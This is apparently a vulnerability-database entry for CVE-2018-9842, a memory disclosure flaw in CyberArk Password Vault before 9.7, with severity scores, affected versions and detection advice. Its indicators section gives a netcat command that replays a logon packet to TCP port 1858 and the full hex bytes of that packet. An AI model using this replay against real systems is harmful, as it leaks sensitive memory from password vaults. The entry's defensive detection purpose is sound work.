cbcvebase.
CVE-2018-9842
published 2018-04-12

CVE-2018-9842: CyberArk Password Vault before 9.7 allows remote attackers to obtain sensitive information from process memory by replaying a logon message.

PriorityP343medium5.3CVSS 3.0
AVNACLPRNUINSUCLINAN
EXPLOIT
EPSS
14.12%
96.1th percentile
CyberArk Password Vault before 9.7 allows remote attackers to obtain sensitive information from process memory by replaying a logon message.

Affected

1 ranges
VendorProductVersion rangeFixed in
cyberarkpassword_vault< 9.79.7

Detection & IOCsextracted from sources · hover to see the quote

port1858
commandcat logon.bin | nc -v 10.0.0.5 1858
filenamecyberark_memory
filenamelogon.bin
bytes
fffffffff7000000ffffffff3d0100005061636c695363726970745573657200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020202020ffffffff0000000000000000000073000000cececece00000000000000000000000000000000303d4c6f676f6efd3131353d372e32302e39302e3238fd36393d50fd3131363d30fd3130303dfd3231373d59fd3231383d5041434c49fd3231393dfd3331373d30fd3335373d30fd32323d5061636c6953637269707455736572fd3336373d3330fd0000
  • Monitor for repeated inbound TCP connections to port 1858 (CyberArk proprietary protocol) from unexpected or external sources, especially replayed identical logon messages with no variation.
  • Alert on high-frequency repeated logon requests to TCP/1858 from a single source IP; the exploit loops 110 iterations sending the same logon packet to harvest memory across multiple responses.
  • Inspect vault responses on TCP/1858 for memory disclosure: leaked process memory appears starting at offset 0xe0 in the server reply, identifiable by readable SQL-like strings such as 'vault_file_categories_records'.
  • The exploit sends a 'Logon' RPC command (0=Logon at offset 0x97 of the packet) with username 'PacliScriptUser'; detect this specific username in logon traffic to TCP/1858 from untrusted hosts.
  • ·The exploit requires only network-level access to TCP/1858; no authentication is needed, making perimeter firewall rules blocking external access to this port a critical mitigation.
  • ·Each individual request leaks only ~50 bytes, but sustained/iterated exploitation accumulates significant memory disclosure over time; detection should account for volumetric/repeated patterns, not just single requests.

CVSS provenance

nvdv3.05.3MEDIUMCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
nvdv2.05.0MEDIUMAV:N/AC:L/Au:N/C:P/I:N/A:N
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